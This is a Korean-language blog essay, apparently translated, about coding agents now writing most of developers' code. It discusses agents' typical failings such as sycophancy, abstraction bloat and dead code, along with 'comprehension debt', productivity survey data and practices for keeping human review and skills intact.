&lt;p&gt;&lt;strong&gt;AI 오류는 문법 오류에서 개념 오류로 옮겨갔습니다. 시간에 쫓기는 주니어 개발자가 할 법한 실수입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;카파시가 여전히 발생하는 문제들을 정리했습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"AI 모델이 당신을 대신해 잘못된 가정을 세우고 확인 절차 없이 그대로 밀고 나갑니다. 혼란이 있어도 정리하지 않고, 애매한 점은 묻지 않고, 불일치를 드러내지 않고, 트레이드오프를 제시하지 않고, 반박해야 할 때도 반박하지 않습니다. 여전히 과하게 우리의 편을 들고 있습니다."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;가정 전파(Assumption propagation)&lt;/strong&gt;: 모델이 초반에 잘못 이해한 전제 위에 전체 기능을 쌓습니다. PR 다섯 개쯤 들어가고 아키텍처가 굳어져서야 개발자가 눈치챕니다. 일종의 두 걸음 뒤로 가는 패턴입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;추상화 비대화(Abstraction bloat)&lt;/strong&gt;: 에이전트에게 제약을 주지 않으면 끝없이 과하게 복잡하게 만들 수도 있습니다. 100줄이면 충분한 코드를 1,000줄 짜리로 만들고, 함수 하나면 될 곳에 클래스 계층을 늘어 놓습니다. 적극적으로 "그냥 이렇게만 하면 안 돼?"라고 말해야 합니다. 에이전트는 항상 "물론이죠!"라고 답하고 바로 단순화 작업을 진행합니다. 유지보수성보다는 다 갖춘 것처럼 보이게 하는 작업에 최적화되어 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;죽은 코드의 축적(Dead code accumulation)&lt;/strong&gt;: 스스로 정리를 하지 않습니다. 예전 구현이 그대로 남기도 하고, 주석이 부수 효과로 사라지기도 하고, 잘 이해하지 못한 코드도 작업 범위에 가깝다는 이유로 수정해 버립니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;아부성 동의(Sycophantic agreement)&lt;/strong&gt;: 반박을 잘 하지 않습니다. "정말 그런가요?", "다른 접근도 고려해 보셨나요?" 같은 말은 하지 않습니다. 여러분의 설명이 불완전하거나 모순돼 있어도 그저 열심히 실행할 뿐입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;무엇을 경계해야 할지 안다면 스킬과 같은 방법으로 문제를 어느 정도 완화할 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;시스템 프롬프트, CLAUDE.md 지시, 플랜 모드만으로 문제가 다 고쳐지는 건 아닙니다. 수정해야 할 버그가 아니라, 시스템이 동작하는 방식 자체에서 기인하는 경우가 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;에이전트는 입력받은 전제에 의문을 품기보단, 일관되게 출력하도록 최적화되어 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;저도 팀에서 비슷한 문제를 본 적이 있습니다. 리뷰할 땐 멀쩡해 보이던 코드가, 세 커밋 뒤에 누군가 인접 시스템을 건드리면 깨져버리는 경우였습니다.&lt;/p&gt;
&lt;p&gt;데이터 관점에서 보자면, 최근 &lt;a href="https://www.sonarsource.com/blog/ai-coding-trust-gap/"&gt;설문조사&lt;/a&gt;에서는 이른바 "검증 병목" 현상이 나타났다고 합니다. 개발자의 48%만이 AI 보조 코드를 커밋 전에 반드시 확인하고 있으며, 38%는 사람이 쓴 코드보다 AI가 만든 코드를 리뷰하는 게 더 힘들다고 답했습니다. 우리는 더 빠르게 "정답처럼 보이는 코드"를 만들어 내고 있지만, 동시에 기술 부채도 더 빠르게 쌓고 있을지 모릅니다.&lt;/p&gt;
&lt;h2 id="이해-부채---우리가-따로-세지-않는-숨은-비용"&gt;이해 부채 - 우리가 따로 세지 않는 숨은 비용&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;코드 생성과 판별은 서로 다른 인지 능력입니다. 코드를 작성하는 능력이 퇴화하더라도, 리뷰하는 능력은 비교적 유지될 수 있습니다. 하지만 "리뷰"가 "형식적 승인"으로 변모하기도 합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/jeremytwei/status/2015886793955229705"&gt;제레미 트웨이&lt;/a&gt;가 이런 현상을 &lt;em&gt;"이해 부채"&lt;/em&gt; 라는 용어로 정확하게 표현했습니다. LLM이 한 번에 그럴듯하게 동작하는 코드를 만들면 그냥 넘어가고 싶어지는 유혹은 꽤 큽니다. 문제는 그다음입니다. 에이전트는 지치지 않습니다. 본인의 확신을 잃지 않고 구현 위에 구현을 쌓아 올립니다. 코드는 그럴듯해 보이고, 테스트는 통과합니다(또는 그렇게 보입니다). 출시 압박이 있는 우리는 그냥 다음 단계로 넘어가게 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;그렇게 시간이 지나면서 개발자는 코드베이스를 점점 덜 이해하지 못하게 될 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;저도 지난주에 이런 경험을 했습니다. 클로드가 제가 며칠 미뤄두던 기능을 구현해줬습니다. 테스트는 통과했고, 대충 훑고 고개 끄덕인 다음 병합했습니다. 그리고 사흘 뒤, 저는 동작 방식을 설명할 수 없었습니다.&lt;/p&gt;
&lt;p&gt;요코 리는 이 중독 루프를 잘 &lt;a href="https://x.com/stuffyokodraws/status/2013373307291340870"&gt;포착했습니다.&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"에이전트가 대단한 기능을 구현해 줬는데 딱 10%쯤 틀려 있습니다. '5분만 더 프롬프트를 다듬으면 고칠 수 있겠다' 생각하지만, 5시간이 흘러 버립니다."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;우리는 항상 거의 다 온 것처럼 느낍니다. 마지막 10%는 손에 잡힐 듯 가깝게 느껴집니다. 프롬프트 한 번만 더 다듬고 반복하면 될 것 같습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://news.ycombinator.com/user?id=vibeprofessor"&gt;누군가&lt;/a&gt; 이렇게 말했습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"저는 대부분의 시간을 에이전트를 돌보는 데 씁니다. 거의 만능 비서를 쓰는 듯한 느낌은 드는데, 일일이 관리하는 비용도 만만치 않습니다. 이제 코딩을 하는 게 아니라 감독하고 있습니다. 지켜보고, 방향 잡아 주고. 또 다른 종류의 피로감이 듭니다."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;위험은 바로 이 지점에 있습니다. 직접 다시 짤 수 없는 코드를 리뷰하는 건 너무 쉽습니다.&lt;/strong&gt; "읽는" 능력이 에이전트의 "출력" 능력만큼 커지지 않으면, 더 이상 엔지니어링이 아닙니다. 코드가 잘 구현되길 바라고 있을 뿐입니다.&lt;/p&gt;
&lt;h2 id="생산성-역설---더-많은-코드-비슷한-처리량"&gt;생산성 역설 - 더 많은 코드, 비슷한 처리량&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;에이전트 도입이 많은 팀에서는 개인 산출량이 98% 늘었지만, PR 리뷰 시간 또한 최대 91%까지 늘었습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.faros.ai/blog/key-takeaways-from-the-dora-report-2025"&gt;Faros AI&lt;/a&gt;와 구글 &lt;a href="https://dora.dev/research/2025/dora-report/"&gt;DORA 리포트&lt;/a&gt; 데이터가 흥미로운 결과를 보여줍니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;에이전트 도입이 높은 팀은 머지한 PR이 98% 더 많았습니다.&lt;/li&gt;
&lt;li&gt;동시에 해당 팀들의 리뷰 시간은 91%까지 늘어났습니다.&lt;/li&gt;
&lt;li&gt;PR 크기는 평균 154% 증가했습니다.&lt;/li&gt;
&lt;li&gt;코드 리뷰가 새로운 병목이 됐습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;아틀라시안 2025 설문은 이 역설을 뚜렷하게 보여 줍니다. AI를 사용하는 개발자 99%가 주당 10시간 이상 절약했다고 했는데, 그럼에도 대부분은 &lt;em&gt;업무량이 줄었다고 느끼지 않았습니다&lt;/em&gt;. 코드 작성에서 아낀 시간은 조직적 마찰로 소모됐습니다. 잦은 컨텍스트 스위칭, 더 큰 협업 비용, 더 많은 변경 사항을 관리하는 부담이 아낀 시간을 잠식해 버렸습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;우리는 더 빠른 차를 얻었지만, 도로는 더 막혀가고 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;더 많은 코드가 작성되는 동시에 그것을 검토하는 데 더 많은 시간을 쓰고 있습니다. 병목은 사라지지 않았습니다. 위치만 옮겨갔을 뿐입니다. 어떤 자원이 더 저렴해지면(여기선 코드 생성의 비용), 소비는 효율 개선 속도보다 더 빠르게 증가하고, 결국 전체 자원 사용량은 오히려 늘어납니다.&lt;/p&gt;
&lt;p&gt;우리는 코드를 덜 쓰고 있는 게 아닙니다. &lt;em&gt;훨씬&lt;/em&gt; 더 많은 코드를 쓰고 있고, 여전히 누군가는 그 대부분을 이해해야 합니다. 물론, AI가 그 역할까지 대신할 수 있다면 더 이상 그럴 필요가 없다고 느끼는 개발자들도 존재합니다.&lt;/p&gt;
&lt;h2 id="82-비율이-통하는-경우"&gt;8:2 비율이 통하는 경우&lt;/h2&gt;
&lt;p&gt;새로 시작하는 프로젝트라면, 에이전트 코딩이 8할을 차지해도 괜찮습니다. 전체 스택을 직접 통제할 수 있고, 팀 규모가 작아 이해 부채가 관리 가능한 수준에 머물기 때문입니다.&lt;/p&gt;
&lt;p&gt;실제로 이런 경우에선 잘 맞습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;전부 직접 통제하는 개인 프로젝트&lt;/li&gt;
&lt;li&gt;"충분히 괜찮은 정도"가 진짜 충분한 MVP&lt;/li&gt;
&lt;li&gt;레거시 제약 없는 스타트업&lt;/li&gt;
&lt;li&gt;이해 부채가 감당 가능할 만큼 작은 팀&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이런 환경에서는 에이전트의 약점이 치명적이지 않습니다. 빠르게 스캐폴딩하고, 과감히 리팩터링하고, 정치적 마찰 없이 코드를 버릴 수 있습니다. 가끔의 잘못된 판단보단 빠르게 반복하는 게 더 큰 가치를 가집니다.&lt;/p&gt;
&lt;p&gt;하지만 복잡한 로직이 얽혀 있고, 오래된 코드베이스에서는 그렇지 않습니다. 에이전트는 자기가 무엇을 모르는지 모릅니다. 문서화되지 않은 규칙을 직관적으로 파악하지 못합니다. 맥락 이해도가 낮을수록 자신감은 오히려 더 커집니다.&lt;/p&gt;
&lt;p&gt;누군가 제가 살짝 돌려 말하던 걸 정확히 짚었습니다. 처음 90%는 쉬운데, 마지막 10%가 오래 걸릴 수 있습니다. 90% 정확도는 임무에 치명적이지 않은 부분에는 충분할 순 있지만 정말 중요한 부분에는 한참 모자랍니다. 자율주행차는 잘 달리다가도 가끔 잘못 동작하기 때문에 L2는 어디에나 있지만 L4는 아직 어려운 것입니다.&lt;/p&gt;
&lt;p&gt;비개발자에게는 벽이 낮지만 여전히 있습니다. AI 스튜디오, v0, 볼트 같은 도구로 스케치를 곧바로 동작하는 프로토타입으로 만들 수 있습니다. 하지만 그 프로토타입을 실제 사용자 데이터를 스케일로 다룬다거나, 보안과 규정을 맞추는 등의 실제 운영 환경에서 동작시키려면 여전히 엔지니어링 기본기가 필요합니다. AI는 MVP의 80% 지점까지 빠르게 데려다줍니다. 마지막 20%는 인내, 깊이 있는 학습, 또는 숙련된 엔지니어가 필요합니다.&lt;/p&gt;
&lt;h2 id="서로-다른-두-집단"&gt;서로 다른 두 집단&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;채택 곡선은 부드럽지 않습니다. 어느 순간 임계점을 넘어선 사람들과, 그렇지 않은 사람들 사이의 분리가 명확히 있습니다. 초기 적응자와 나머지 사이의 격차는 오히려 벌어지고 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;아르민의 설문조사는 단순한 채택률 숫자가 가리는 현실을 드러냈습니다. 개발자의 44%는 여전히 코드의 90% 이상을 직접 작성한다고 답했습니다. 이는 종 모양 곡선이라기보단 양봉 분포에 가깝습니다. 한쪽에는 카파시와 클로드 코드 팀처럼, 하루에도 수십 개의 PR을 배포하며 코드의 100%를 AI로 작성하고, 이전보다 훨씬 빠르게 반복하는 사람들이 있습니다. 다른 한쪽에는 대다수의 개발자들이 있습니다. 코파일럿 스타일의 도구를 점진적으로 도입하고는 있지만, 워크플로 자체를 근본적으로 바꾸지는 않은 상태입니다.&lt;/p&gt;
&lt;p&gt;세대 차이도 담론 속에서 보입니다. 젊은 개발자들은 워크플로를 급진적으로 바꾸는 데 더 개방적인 경향이 있습니다.
나이가 더 많은 개발자들은 더 회의적입니다. 도구를 못 써서가 아니라, 일시적인 생산성 상승과 지속 가능한 실천을 구분할 만큼 많은 사이클을 겪어왔기 때문입니다. 어쩌면 둘 다 맞을지도 모릅니다.&lt;/p&gt;
&lt;p&gt;스택 오버플로 2025 설문에 따르면, "생산성이 크게 향상되었다"고 답한 사람은 16%에 불과했습니다. 절반은 소폭의 개선만을 경험했다고 답했습니다. 불만 사항은 "AI 솔루션이 거의 맞지만, 완전히 맞지는 않음"(66%), “AI 코드 디버깅이 직접 쓰는 것보다 오래 걸림”(45%)순으로 답변했습니다.&lt;/p&gt;
&lt;p&gt;2026년에 잘 적응한 엔지니어들은 단순히 더 좋은 도구를 쓰는 사람들이 아닙니다. 역할을 &lt;em&gt;구현자&lt;/em&gt;에서 &lt;em&gt;오케스트레이터&lt;/em&gt;로 재정의하고, 명령형이 아니라 선언형으로 생각하는 법을 익힌 것입니다. 이제 자신의 일이 한 줄 한 줄 코드를 작성하는 것이 아니라, 아키텍처를 감독하고 품질을 통제하는 것임을 받아들였습니다.&lt;/p&gt;
&lt;p&gt;반면 어려움을 겪는 사람들은 AI를 더 빠른 타자기처럼 사용하려 할 뿐, 워크플로를 바꾸지 않았습니다. 에이전트의 접근 방식을 활용하기보다, 그 방식과 싸우고 있습니다. 효과적으로 프롬프트를 작성하는 법을 배우는 데 충분히 투자하지 않았습니다. 하지만 이제는 과거에 좋은 문서나 설계 명세를 작성하는 것만큼이나 중요한 역량이 되었습니다.&lt;/p&gt;
&lt;p&gt;여기에는 불편한 진실이 있습니다.
에이전트를 오케스트레이션하는 일은 업무를 위임하고, 결과를 검토하고, 일이 엇나가면 방향을 재설정하는 일입니다. &lt;a href="https://addyosmani.com/blog/coding-agents-manager/"&gt;관리자&lt;/a&gt;와 매우 닮아 있습니다. 관리하고 싶지 않아서 엔지니어가 된 사람이라면, 이런 변화는 배신처럼 느껴질 수 있습니다. 역할이 당신 모르게 바뀌어버린 것이니까요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;격차는 계속 벌어지고 있는 듯합니다. 이 도구들과 함께 일하는 법을 터득한 사람들은 제가 따라가기 벅찰 정도로 빠르게 결과물을 내고 있습니다. 나머지는… 아직 적응하는 중입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이 분리는 누군가에게는 불편할 수 있습니다. 저는 항상 스스로를 빌더라고 생각해왔지만, 동시에 프로그래밍 자체도 즐겼습니다. 이 두 길이 이제 갈라져서 하나를 선택해야 하는 것처럼 느껴진다면, 그것은 지나치게 단순화된 해석일지도 모릅니다. 복잡한 현실을 이분법으로 밀어 넣는 것 같으니까요. 댓글 중 누군가가 이렇게 말했습니다. '두 관점 모두 타당하다. 단지 서로 다른 두뇌 회로를 가졌을 뿐이다. 어느 쪽도 틀리지 않았다.'&lt;/p&gt;
&lt;h2 id="명령형에서-선언형으로---진짜-레버리지"&gt;명령형에서 선언형으로 - 진짜 레버리지&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;AI에게 무엇을 할지 일일이 지시하지 마세요. 대신 성공 기준을 주고 기준을 만족할 때까지 반복시키세요. 마법은 에이전트의 코드 "작성"에 있는 게 아니라, 여러분이 정한 조건을 만족할 때까지 반복하는 데 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;카파시의 관찰은 이 핵심을 정확히 짚습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"LLM은 특정 목표를 만족할 때까지 반복하는 데 매우 뛰어납니다. "인공지능의 마법"은 바로 여기서 나옵니다."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="명령형에서-선언형-개발으로의-전환"&gt;명령형에서 선언형 개발으로의 전환&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;기존 모델(명령형)&lt;/strong&gt;: “X를 받아 Y를 반환하는 함수를 작성해. 이 라이브러리 사용하고. 이 엣지 케이스 처리해. 그리고…”&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;새로운 모델(선언형)&lt;/strong&gt;: "요구사항은 이거고, 통과해야 할 테스트는 이거고, 성공 기준은 이거야. 방법은 네가 찾아."&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;에이전트는 좌절하지 않기 때문에 새로운 모델이 통합니다. 사람이라면 인내심이 바닥나겠지만 에이전트는 계속 시도합니다. 끊임없이 반복합니다. 목적지를 명확히 지정하면, 30번 실패하더라도 결국 거기에 도달합니다.&lt;/p&gt;
&lt;h3 id="잘-작동하는-패턴"&gt;잘 작동하는 패턴&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;먼저 테스트를 쓰고, 에이전트가 통과할 때까지 반복시킵니다.&lt;/li&gt;
&lt;li&gt;MCP로 브라우저에 붙여서 동작을 시각적으로 검증하게 합니다.&lt;/li&gt;
&lt;li&gt;단순하지만 올바른 버전을 먼저 구현한 뒤, 정확성을 유지하면서 최적화합니다.&lt;/li&gt;
&lt;li&gt;API 규격을 정의하고, 스펙에 맞게 구현하게 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;단, 이 모든 것은 성공 기준이 실제로 올바를 때만 통합니다. 입력이 잘못되면 출력도 잘못됩니다. 그리고 모델의 능력이 높아질수록, 그 잘못은 더 크게 증폭됩니다.&lt;/p&gt;
&lt;p&gt;이 접근으로 성공하는 개발자는 시간의 70%를 문제 정의와 검증 전략에 쓰고, 30%만 실행에 씁니다. 비율이 기존 개발 패턴과 뒤집혔지만, 총 시간은 크게 줄었습니다.&lt;/p&gt;
&lt;h2 id="슬로파칼립스는-올-것인가"&gt;슬로파칼립스는 올 것인가&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;역자주*: 슬로파칼립스(slopacolypse)란 slop(엉성한 결과물)과 apocalypse(대재앙)를 합친 단어로, AI가 만들어 내는 질 낮은 콘텐츠가 넘쳐나는 사태를 의미합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;누구나 몇 분 만에 수천 줄을 생성할 수 있게 되면, "이건 필요 없어"라고 말할 수 있는 능력이 더 가치 있게 됩니다.&lt;/p&gt;
&lt;p&gt;카파시는 이렇게 경고했습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"2026년을 GitHub, 서브스택, arxiv, X/인스타, 전반적인 디지털 미디어 전반에 걸친 슬로파칼립스의 해가 될 것에 대비하고 있습니다."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;걱정은 단순합니다. 누구나 그럴듯해 보이는 코드, 콘텐츠, 논문, 포스트를 마음대로 대량 생성할 수 있는 세상에서 신호 대비 잡음을 어떻게 유지할 수 있을까?&lt;/p&gt;
&lt;p&gt;보리스 체르니는 반론을 제기합니다. “저는 슬로파칼립스는 오지 않을 것으로 예상합니다. 모델이 점점 덜 엉성한 코드를 쓰고 기존 코드 이슈도 잘 수정하게 될 겁니다. 그동안에는 모델이 새 컨텍스트 창에서 자신의 코드를 리뷰하게 하는 게 도움이 됩니다.”&lt;/p&gt;
&lt;p&gt;둘 다 맞을 수 있습니다. 엉성한 결과물을 대량으로 생산하는 능력은 전례 없이 커졌고, 이를 방지하는 도구도 나오고 있습니다. 문제는 어느 쪽이 더 빨리 확장되느냐입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;슬로파칼립스는 속도를 생산성으로 착각하는 사람들에 의해 가속될 것입니다.&lt;/strong&gt; 에이전트는 방향 감각이 없는 마라톤 러너와 같습니다. 방향을 주지 않으면, 벽을 향해 10마일을 전력 질주할 수도 있습니다. 필요한 지점에서 "코드 액션"을 감독하지 않으면 그렇게 됩니다.&lt;/p&gt;
&lt;h3 id="이를-잘-처리하는-팀들은"&gt;이를 잘 처리하는 팀들은&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;새로운 컨텍스트에서의 코드 리뷰: 같은 모델에게 자기 코드를 비판하게 하는 것이 어색하게 느껴질 수 있습니다 하지만 효과는 있습니다. 깨끗한 상태에서 다시 읽게 하면, 스스로의 실수를 꽤 잘 찾아냅니다.&lt;/li&gt;
&lt;li&gt;모든 단계에서의 자동 검증: CI/CD, 린터, 타입 체커, 테스트를 가드레일로 사용합니다.&lt;/li&gt;
&lt;li&gt;에이전트 자율성에 대한 의도적인 제약: 작업 범위를 한정하고, 성공 기준을 명확히 합니다.&lt;/li&gt;
&lt;li&gt;중요한 결정에 사람이 반드시 개입하는 구조: 구조의 결정은 여전히 사람이 중심에 있어야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;모델이 발전함에 따라, 카파시가 말한 코드 품질 문제, 과한 복잡화, 추상화 비대, 죽은 코드 축적의 문제는 같이 나아집니다. 하지만 완전히 사라지지는 않습니다. 그 문제들은 단순한 버그가 아니라, 시스템이 문제에 접근하는 방식에서 자연스럽게 발생하기 때문입니다.&lt;/p&gt;
&lt;h2 id="실제로-통하는-실전-패턴"&gt;실제로 통하는 실전 패턴&lt;/h2&gt;
&lt;p&gt;미래는 거시적 관점에 대한 일관된 정신 모델을 유지하면서, 미시적 전술 작업은 에이전트에게 맡길 수 있는 사람들이 쟁취하게 될 것입니다.&lt;/p&gt;
&lt;p&gt;지난 1년간 팀들이 적응하는 모습을 지켜보며, 효과적인 패턴들이 점점 분명해졌습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 에이전트 우선 초안과 짧은 반복 루프&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AI를 단발성 제안 도구로 쓰지 마세요. 전체 초안을 생성하게 한 뒤, 그 위에서 다듬으세요. 클로드 코드 팀은 모델이 작성한 코드를 새로운 컨텍스트 창에서 스스로 리뷰하게 합니다. 이렇게 하면 사람이 리뷰하기 전에 상당수의 문제를 걸러낼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 선언형 소통&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;노력의 70%는 문제 정의에, 30%는 실행에 씁니다. 포괄적인 명세를 작성하고, 명확한 성공 기준를 정의하고, 테스트 케이스를 미리 제공하세요. 에이전트에게 방법을 지시하지 말고, 목표를 안내하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 자동 검증&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;같은 종류의 실수를 반복해서 고치고 있다면, 미리 테스트나 린트 규칙을 작성하세요. 에이전트가 코드를 설명하고 잠재 문제를 표시하게 한 뒤 사람이 리뷰해야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 단순 생산 집착이 아닌, 의도적인 학습&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이미 여러 번 들었겠지만, AI를 지름길이 아니라 학습 도구로 사용하세요. 에이전트가 작성한 코드 중 이해되지 않는 부분이 있다면, 그건 더 깊이 파고들어야 한다는 신호입니다. AI가 생성한 코드를 멘토의 코드처럼 대하세요. 그저 배포하기 위해서가 아니라 배우기 위해 리뷰하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. 아키텍처 위생&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;더 강한 모듈화, 더 명확한 API 경계, 프롬프트에 포함시킬 잘 문서화된 스타일 가이드, 구현 전에 제공할 고수준 아키텍처 설명이 필요합니다. 기획 단계가 늘고, 코딩 단계는 줄고, 리뷰 단계는 문법이 아니라 설계 중심으로 이동합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;잘 하는 개발자는 코드를 가장 많이 생성하는 사람이 아니라, 어떤 코드를 언제 생성할지, 출력을 언제 의심할지, 키보드에서 손을 떼도 이해력을 유지할 줄 아는 사람입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="불편한-진실---스킬-개발에-대하여"&gt;불편한 진실 - 스킬 개발에 대하여&lt;/h2&gt;
&lt;p&gt;여러분의 "읽는" 능력이 에이전트의 "출력" 능력만큼 성장하지 않으면, 더 이상 엔지니어링을 하는 게 아닙니다. 형식적으로 승인하고 있을 뿐입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"저한텐 끓는 개구리 같았어요. ChatGPT에 더 많이 복붙하기 시작했고, 그다음 IDE 프롬프팅이 늘었고, 그다음 에이전트 도구를 쓰게 됐습니다. 어느새 손으로 코딩을 거의 안 하고 있더라고요. 전환이 너무 점진적이라 이미 그 지점에 도달하기 전까지 눈치채지 못했습니다.” &lt;a href="https://news.ycombinator.com/user?id=shawabawa3"&gt;[HN]&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;에이전트를 과도하게 쓰는 사용자에게 기술 퇴화의 초기 징후가 나타나고 있습니다. 모든 걸 AI에 의존하는 주니어 개발자들은 시간이 지나면서 문제 해결에 대한 확신이 줄었다고 보고합니다. 이는 일종의 구글 효과가 코딩에 적용된 것입니다. 계속 아웃소싱하면 뇌는 저장하지 않습니다.&lt;/p&gt;
&lt;p&gt;이 문제의 해답은 알 수 없지만, 저는 이런 걸 해보고 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TDD(테스트 주도 개발): AI가 구현하게 하기 전에 테스트(또는 테스트 케이스)를 쓰거나 생각합니다.&lt;/li&gt;
&lt;li&gt;시니어와 페어링: AI 제안을 실시간으로 논의해서 의사결정 과정을 배웁니다.&lt;/li&gt;
&lt;li&gt;설명 요청: AI가 해결책만 만들지 말고 접근을 정당화하게 합니다.&lt;/li&gt;
&lt;li&gt;번갈아 하기: 감각을 유지하기 위해 일부 기능은 직접 구현합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;위험은 분명합니다. 직접 다시 짤 수 없는 코드를 리뷰하는 건 위험할 정도로 쉽습니다.&lt;/strong&gt; 그 지점에 도달하면, 여러분은 성장을 제한하는 방식으로 도구에 의존하게 됩니다.&lt;/p&gt;
&lt;p&gt;장기적으로 잘 나갈 엔지니어는 AI로 경험을 빨리 쌓되, 건너뛰지는 않는 사람일 것입니다. 기초를 유지하면서 AI로 더 넓은 영역을 더 빨리 탐색합니다.&lt;/p&gt;
&lt;h2 id="우리는-지금-어디에-서-있는가"&gt;우리는 지금 어디에 서 있는가&lt;/h2&gt;
&lt;p&gt;70%에서 80%로의 전환은 단순히 숫자의 문제가 아닙니다. 프로토타입과 운영 환경의 소프트웨어 사이의 간극에 관한 이야기입니다. 그 간극은 좁아지고 있지만, 아직 사라지지는 않았습니다.&lt;/p&gt;
&lt;p&gt;카파시가 핵심적인 질문을 던집니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"‘10X 엔지니어’는 어떻게 될까? 평균과 최고 엔지니어 사이의 생산성 격차는? LLM을 장착한 제너럴리스트가 점점 전문가를 능가하게 될까?"&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이 질문들이 앞으로 몇 년을 정의할 것입니다.&lt;/p&gt;
&lt;p&gt;한 가지는 확실합니다. 2025년 말 초기 적응자들 사이에서 AI가 코드의 80%를 작성했습니다. 여러분도 이에 비해 비율이 훨씬 낮더라도, 1년 전보다는 높을 가능성이 큽니다. 그래서 결과에 대한 책임, 품질 기준 유지, 테스트가 실제로 동작을 검증하는지 확인하는 등의 인간의 역할에 더 큰 책임을 부여합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;위험한 건 에이전트가 실패하는 게 아닙니다. 오히려 잘못된 방향으로 너무 확신에 차서, 여러분이 방향을 확인하지 않게 되는 데에 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;DORA 2025 리포트가 현실을 명확히 합니다. AI는 개발 프로세스를 증폭기처럼 작동시킵니다. 좋은 프로세스는 더 좋아지고(고성과 팀은 55~70% 더 빠르게 전달합니다), 나쁜 프로세스는 더 나빠집니다(전례 없이 빠르게 부채가 쌓입니다). 만능 해결책은 없습니다.&lt;/p&gt;
&lt;p&gt;카파시의 마지막 관찰이 가장 공감됩니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“에이전트와 함께 프로그래밍 하면 더 재밌을 거라고 예상 못 했어요. 빈칸 채우는 잡무가 많이 사라지고 창의적인 부분만 남아서 더 재밌습니다. 막히는 느낌도 덜하고, 함께 손잡고 조금이라도 진전을 만들 방법이 있다는 용기를 느낍니다."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;그는 또 이렇게도 말합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"LLM 코딩은 코딩 자체를 좋아한 사람과 만드는 걸 좋아한 사람으로 엔지니어를 나눌 겁니다."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;앞으로의 방향에 대한 예측 중 가장 통찰력 있는 예측일지도 모릅니다.&lt;/p&gt;
&lt;blockquote&gt;
